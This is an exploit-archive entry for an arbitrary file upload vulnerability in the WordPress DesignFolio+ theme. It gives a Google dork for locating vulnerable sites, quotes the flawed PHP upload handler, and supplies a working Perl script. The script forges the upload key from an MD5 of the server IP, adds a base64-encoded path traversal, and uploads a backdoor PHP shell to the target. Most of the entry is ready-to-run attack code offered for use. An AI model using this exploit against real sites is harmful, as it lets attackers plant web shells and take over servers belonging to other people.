WordPress DesignFolio+ Theme File Upload

`#########################################################  
# Exploit Title: Wordpress Theme DesignFolio+ Arbitrary File Upload Vulnerability  
# Google dork: inurl:wp-content/themes/DesignFolio-Plus  
# Author: CrashBandicot  
# Date: 04.03.2015  
# OSVDB-ID: 119623  
# Vendor HomePage: https://github.com/UpThemes/DesignFolio-Plus  
# Software Link: https://github.com/UpThemes/DesignFolio-Plus/archive/master.zip  
# tested on : MsWin32  
#########################################################  
  
Vulnerable File : upload-file.php  
<?php  
//Upload Security  
$upload_security = md5($_SERVER['SERVER_ADDR']);  
$uploaddir = base64_decode( $_REQUEST['upload_path'] ) . "/";  
if( $_FILES[$upload_security] ):  
$file = $_FILES[$upload_security];  
$file = $uploaddir . strtolower(str_replace('__', '_', str_replace('#', '_', str_replace(' ', '_', basename($file['name'])))));  
  
if (move_uploaded_file( $_FILES[$upload_security]['tmp_name'], $file)):  
if(chmod($file,0777)):  
echo "success";   
else:  
echo "error".$_FILES[$upload_security]['tmp_name'];  
endif;  
else:  
echo "error".$_FILES[$upload_security]['tmp_name'];  
endif;  
endif;  
?>  
  
Exploit  
  
#!/usr/bin/perl  
  
use Digest::MD5 qw(md5 md5_hex);  
use MIME::Base64;  
use IO::Socket;  
use LWP::UserAgent;  
  
system(($^O eq 'MSWin32') ? 'cls' : 'clear');  
print "\n\t ! *** # ^_^ # *** !\n\t :p\n\n";  
  
$use = "\n\t [!] ./$0 127.0.0.1 backdoor.php";  
  
($target ,$file) = @ARGV;  
  
die "$use" unless $ARGV[0] && $ARGV[1];  
  
if($target =~ /http:\/\/(.*)\//){ $target = $1; }  
elsif($target =~ /http:\/\/(.*)/){ $target = $1; }  
elsif($target =~ /https:\/\/(.*)\//){ $target = $1; }  
elsif($target =~ /https:\/\/(.*)/){ $target = $1; }  
  
my $addr = inet_ntoa((gethostbyname($target))[4]);  
my $digest = md5_hex($addr);  
my $dir = encode_base64('../../../../');  
  
my $ua = LWP::UserAgent->new( agent => q{Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36},);  
$pst = $ua->post("http://".$target."/wp-content/themes/designfolio-plus/admin/upload-file.php", Content_Type => 'form-data', Content => [ $digest => [$file] , upload_path => $dir ]);  
if($pst->is_success) { print "[+] Backdoor Uploaded !"; } else { print "\n [-] Bad Response Header :/ FAIL"; }  
  
__END__  
  
  
# File path: http://target/shell.php  
`